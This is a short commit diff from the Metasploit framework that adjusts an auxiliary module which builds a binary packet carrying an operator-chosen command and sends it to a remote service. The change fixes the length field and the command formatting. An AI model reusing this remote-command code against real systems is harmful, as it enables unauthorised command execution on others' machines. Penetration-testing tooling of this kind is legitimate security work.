updated to make things more reliable.
git-svn-id: file:///home/svn/framework3/trunk@6749 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
50fc339988
commit
94b2eb1cef
|
@ -39,13 +39,12 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
begin
|
begin
|
||||||
connect
|
connect
|
||||||
|
|
||||||
len = 12 + datastore['CMD'].length
|
len = 2 + datastore['CMD'].length
|
||||||
|
|
||||||
data = [0x00000000].pack('V')
|
data = [0x00000000].pack('V')
|
||||||
data << len.chr
|
data << len.chr
|
||||||
data << "\x00"
|
data << "\x00"
|
||||||
data << datastore['CMD']
|
data << datastore['CMD'] + " "
|
||||||
data << " -123456789"
|
|
||||||
data << "\x00"
|
data << "\x00"
|
||||||
|
|
||||||
print_status("Sending command: #{datastore['CMD']}")
|
print_status("Sending command: #{datastore['CMD']}")
|
||||||
|
|
Loading…
Reference in New Issue